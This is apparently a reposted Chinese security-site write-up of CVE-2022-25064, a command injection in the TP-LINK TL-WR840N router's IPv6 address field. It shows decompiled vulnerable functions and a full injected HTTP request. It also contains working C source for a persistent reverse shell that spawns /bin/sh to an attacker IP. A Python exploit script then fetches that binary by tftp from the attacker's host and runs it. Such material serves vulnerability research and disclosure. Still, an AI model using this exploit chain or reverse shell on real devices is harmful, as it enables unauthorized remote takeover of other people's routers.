TP-LINK TL-WR840N远程代码执行漏洞(CVE-2022-25064)

IoT 2年前 (2022) admin
1,207 0 0

This Vulnerability is discovered under the library module called libcmm.so , which processes parameters that are sent from the web server. These parameters although validated only under a request size of size 40 for the case of the X_TP_ExternalIPv6Address argument, at the character level there is no real validation filter in compliance with the input of a real ipv6 address.

then it can identify the vulnerable code segment, which receives the parameters directly without being sanitized.

undefined4 oal_wan6_setIpAddr(undefined4 param_1,undefined4 param_2,undefined4 param_3)

{
  util_execSystem("oal_wan6_setIpAddr","ifconfig %s add %s/%d",param_2,param_1,param_3);
  return 0;
}
  • util_execSystem
    uint util_execSystem(uint param_1,char *param_2,undefined4 param_3,undefined4 param_4)
    
    {
      int iVar1;
      uint uVar2;
      undefined4 uVar3;
      char *pcVar4;
      undefined4 local_res8;
      undefined4 local_resc;
      char *__s;
      uint local_22c;
      char acStack552 [516];
      
      __s = acStack552;
      local_22c = 0;
      local_res8 = param_3;
      local_resc = param_4;
      memset(__s,0,0x200);
      iVar1 = vsnprintf(__s,0x1ff,param_2,&local_res8);
      cdbg_printf(8,"util_execSystem",0x8b,"%s cmd is \\"%s\\"\\n",param_1,__s);
      if (0 < iVar1) {
        iVar1 = 1;
        do {
          local_22c = system(acStack552);
          uVar2 = local_22c & 0x7f;
          if ((int)local_22c < 0) {
            if (local_22c == 0xffffffff) {
              cdbg_printf(8,"util_execSystem",0x9b,"system fork failed.",param_1,__s);
            }
            else {
              perror("util_execSystem call error:");
            }
          }
          else {
            if (uVar2 == 0) {
              iVar1 = (int)(local_22c & 0xff00) >> 8;
              if (iVar1 != 0) {
                cdbg_printf(8,"util_execSystem",0xa6,"execute ok, exit status = %d\\n",iVar1,__s);
              }
              return local_22c >> 8 & 0xff;
            }
            if ((int)((uVar2 + 1) * 0x1000000) >> 0x19 < 1) {
              if ((local_22c & 0xff) == 0x7f) {
                uVar3 = 0xad;
                pcVar4 = "process stopped, signal number = %d\\n";
                uVar2 = (int)(local_22c & 0xff00) >> 8;
              }
              else {
                uVar3 = 0xaf;
                pcVar4 = "Oh,no possible here. status = %d\\n";
                uVar2 = local_22c;
              }
            }
            else {
              uVar3 = 0xab;
              pcVar4 = "abnormal termination, signal number = %d\\n";
            }
            cdbg_printf(8,"util_execSystem",uVar3,pcVar4,uVar2,__s);
            param_1 = uVar2;
            while (uVar2 = waitpid(-1,(int *)&local_22c,1), 0 < (int)uVar2) {
              cdbg_printf(8,"util_execSystem",0xb5,"get a zombie process %d",uVar2);
              param_1 = uVar2;
            }
          }
          iVar1 = iVar1 + 1;
        } while (iVar1 != 4);
      }
      return 0xffffffff;
    }
    

The vulnerable function is called from the rsl_setDsliteObject object, a memory reservation of size 0x28 or 40 bytes is made, finally it is passed to the function oal_wan6_setIpAddr.

int rsl_setDsliteObj(undefined4 param_1,int param_2)

{
  int iVar1;
  int iVar2;
  undefined2 local_a0;
  undefined2 local_9e;
  undefined2 local_9c;
  undefined2 local_9a;
  undefined2 local_98;
  undefined2 local_96;
  undefined2 local_94;
  undefined auStack144 [40];
  undefined auStack104 [8];
  char local_60;
  char local_50;
  char local_4f [63];
  
  local_a0 = 0;
  local_9e = 0;
  local_9c = 0;
  local_9a = 0;
  local_98 = 0;
  local_96 = 0;
  local_94 = 0;
  memset(auStack144,0,0x28);
  iVar1 = rsl_getObj(0x87,&local_a0,0x54,auStack104);
  if (iVar1 == 0) {
    if ((*(char *)(param_2 + 2) == '\\0') || (local_50 == '\\0')) {
      oal_dslite_delTunnel();
    }
    else {
      if ((*(char *)(param_2 + 4) != '\\0') &&
         (iVar2 = util_netChkColonIp6Addr(param_2 + 4), iVar2 == 0)) {
        cdbg_printf(8,"rsl_setDsliteObj",0x1d1,"DSLITE Remote IPv6 Address is invalid(%s)!",
                    param_2 + 4);
        return 1;
      }
      **cstr_strncpy(auStack144,local_4f,0x28);**
      if ((((local_50 == '\\x01') && (*(char *)(param_2 + 4) != '\\0')) && (local_60 != '\\0')) &&
         (local_4f[0] != '\\0')) {
        oal_dslite_delTunnel();
        oal_dslite_addTunnel(param_2 + 4,auStack144);
        **oal_wan6_setIpAddr(auStack144,"dslite",0x40);**
        oal_dslite_setRoute("dslite",1);
      }
    }
  }
  else {
    cdbg_printf(8,"rsl_setDsliteObj",0x1c2,"Get IPv6 Tunnel object data failed. ret = %d",iVar1);
  }
  return iVar1;
}

Finally the steps for remote code execution should be as follows:

  1. the payload must not exceed a size of 40 bytes, which requires several requests to be sent for a successful shell operation.
  2. the router only has the tftp binary to download files, so since there is no memory corruption exploit but command injection, you must use the binaries provided by the router.
  3. you must compile a shellcode in c, making use of the MIPSLE architecture.
  4. finally invoke the command string for remote code execution.

You can check the command injection by sending the following payload over the injectable field.

X_TP_ExternalIPv6Address=`cat /proc/version > /var/tmp/ver`
POST /cgi?2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 617
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/mainFrame.htm>
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2
X_TP_lastUsedIntf=ipoe_eth3_s
X_TP_lastUsedName=ewan_ipoe_s
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18
externalIPAddress=172.26.26.2
subnetMask=255.255.255.0
defaultGateway=172.26.26.1
NATEnabled=1
X_TP_FullconeNATEnabled=0
X_TP_FirewallEnabled=1
maxMTUSize=1500
DNSOverrideAllowed=1
DNSServers=1.1.1.1,8.8.8.8
X_TP_IPv4Enabled=0
X_TP_IPv6Enabled=1
X_TP_IPv6AddressingType=Static
X_TP_ExternalIPv6Address=**`cat /proc/version > /var/tmp/ver`**
X_TP_PrefixLength=128
X_TP_DefaultIPv6Gateway=::
X_TP_IPv6DNSOverrideAllowed=1
X_TP_IPv6DNSServers=::,::
enable=1
TP-LINK TL-WR840N远程代码执行漏洞(CVE-2022-25064)

compile a reverse shell using the buildroot toolchain to gain control of the device.

  • shellcode.c
    **// Simple Persistent Reverse Shell
    // Compile for MIPSBE using the following steps:
    // 1) cp reverse_shell_mipsbe.c /tmp/
    // 2) using buildroot toolchain for compile mipsel-buildroot-linux-uclibc-gcc-10.3.0
    // 4) cd /tmp ; output/host/bin/mipsel-buildroot-linux-uclibc-gcc-10.3.0 -static /home/sasaga/Escritorio/shellcode/rev.c -o /home/sasaga/Escritorio/shellcode/rev
    // Outside Docker:
    // 5) cp /tmp/rev .
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
     
    int main(){ 
    
    	int socket_info;
        int connectie;
        int pid;
        struct sockaddr_in aanvaller_info;
    
        while(1){
    		socket_info = socket(AF_INET, SOCK_STREAM, 0);
    	    aanvaller_info.sin_family = AF_INET;
    	    aanvaller_info.sin_port = htons(3000);
    	    aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.103"); //since this is a reverse shell, the 'attacker's IP address should be put here.
    		printf("Set data.\\n");
    		
    		printf("Trying to perform a new connection\\n");
    	    connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr));
    		while(connectie < 0){
    			printf("Connection Failed\\n");
    			sleep(5);
    			connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr));
    	    }
    	    connectie = write(socket_info,"Connection Completed\\n",36);
    	    
    	    printf("Successful Connection\\n");
    	    
    	    pid = fork();
    	    if(pid > 0){
    			printf("Forking Process\\n");
    			wait(NULL);
    		}
    		if(pid == 0){
    			printf("Process Forked Successfully\\n");
    			dup2(socket_info,0); // input
    			dup2(socket_info,1); // output
    			dup2(socket_info,2); // errors
    			execl("/bin/sh", "/bin/sh", NULL);
    	        usleep(3000);
    		}
    	    printf("The connection was closed, trying to reconnect...\\n");
        
    	}
    
    	return 0;
    
    }**
    

copy the binary on your attacking machine in tftpserver, on mac it would be copy it to /private/tftpboot

finally run the exploit and obtain shell

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Samir Sanchez Garnica and Luis Jacome Valencia
# Description: This script exploits a remote command execution vulnerability in the TPLink WR840N router, using the IPv6 protocol.

import requests
import base64
import argparse

class RCE():
    def __init__(self, ip, command, username, password):
        self.ip = ip
        self.command = command
        self.username = username
        self.password = password
        self.session = requests.Session()
    
    def base64_encode(self, s):
        msg_bytes = s.encode('ascii')
        return base64.b64encode(msg_bytes)

    def exploit(self):
        # Building the malicious packet
        self.url = "http://" + self.ip + "/cgi?2&2"
        self.proxyes = {}
        self.payload = '[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2\\r\\nX_TP_lastUsedIntf=ipoe_eth3_s\\r\\nX_TP_lastUsedName=ewan_ipoe_s\\r\\n[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18\\r\\nexternalIPAddress=172.26.26.2\\r\\nsubnetMask=255.255.255.0\\r\\ndefaultGateway=172.26.26.1\\r\\nNATEnabled=1\\r\\nX_TP_FullconeNATEnabled=0\\r\\nX_TP_FirewallEnabled=1\\r\\nmaxMTUSize=1500\\r\\nDNSOverrideAllowed=1\\r\\nDNSServers=1.1.1.1,8.8.8.8\\r\\nX_TP_IPv4Enabled=0\\r\\nX_TP_IPv6Enabled=1\\r\\nX_TP_IPv6AddressingType=Static\\r\\nX_TP_ExternalIPv6Address=`'+str(self.command)+'`\\r\\nX_TP_PrefixLength=128\\r\\nX_TP_DefaultIPv6Gateway=::\\r\\nX_TP_IPv6DNSOverrideAllowed=1\\r\\nX_TP_IPv6DNSServers=::,::\\r\\nenable=1\\r\\n'
    
        self.headers = {
            'Host': self.ip,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0',
            'Accept': '*/*',
            'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'text/plain',
            'Content-Length': 'str(len(self.payload))',
            'Origin': 'http://'+str(self.ip),
            'Referer': 'http://'+str(self.ip)+'/mainFrame.htm',
        }
        
        self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') }
        
        self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.payload, proxies=self.proxyes, timeout=10)
        

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True)
    parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True)
    parser.add_argument("--target", dest="target", help="Enter router ip address", required=True)
    parser.add_argument("--lhost", dest="lhost", help="Enter your lhost server tfpt", required=True)
    parser.add_argument("--lport", dest="lport", help="Enter your lport received your connection", required=True)
    args = parser.parse_args()
    
    if args.username and args.password and args.target and args.lhost and args.lport:
        commands = ['tftp -g -r s -l/var/tmp/r {}'.format(args.lhost), 'chmod +x /var/tmp/r', '/var/tmp/r &']
        
        for com in commands:
            rce = RCE(args.target, com, args.username, args.password)
            rce.exploit()
            print("[+] Exploiting stage " + str(com))

if __name__ == "__main__":
    main()
TP-LINK TL-WR840N远程代码执行漏洞(CVE-2022-25064)

rce_tplink_wr840n_ipv6.mp4

 

版权声明:admin 发表于 2022年3月1日 下午11:08。
转载请注明:TP-LINK TL-WR840N远程代码执行漏洞(CVE-2022-25064) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...